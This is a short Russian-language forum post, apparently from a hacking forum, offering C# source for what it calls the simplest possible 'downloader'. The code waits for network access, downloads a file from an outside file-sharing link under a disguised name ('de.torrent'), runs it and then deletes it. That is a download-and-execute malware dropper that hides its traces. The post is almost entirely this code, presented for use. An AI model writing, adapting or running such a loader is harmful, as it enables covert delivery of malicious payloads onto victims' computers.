Самый простой Downloader Который можно написать.
[HIDEPL=5,5]
[/HIDEPL]
[HIDEPL=5,5]
C#:
var x = "https://dl.drop.me/download/0UjDznNdJpsbV4LU2pSBrCG4Tsqjx37N4dKoHi2stCU=" ; //URl
var file = @"de.torrent"; //File name
while (true)
try
{
var webRequest = WebRequest.Create("https://www.google.com/");
var webRequest2 = WebRequest.Create("https://www.youtube.com/");
break;
}
catch (Exception)
{
Thread.Sleep(6000);
}
stato:
if (!File.Exists(file))
{
var myWebClient = new WebClient();
myWebClient.DownloadFile(x, file);
goto stato;
}
if (File.Exists(file))
{
while (true)
try
{
Process.Start(file);
Thread.Sleep(1000);
File.Delete(file);
break;
}
catch (Exception)
{
Thread.Sleep(1000);
}
}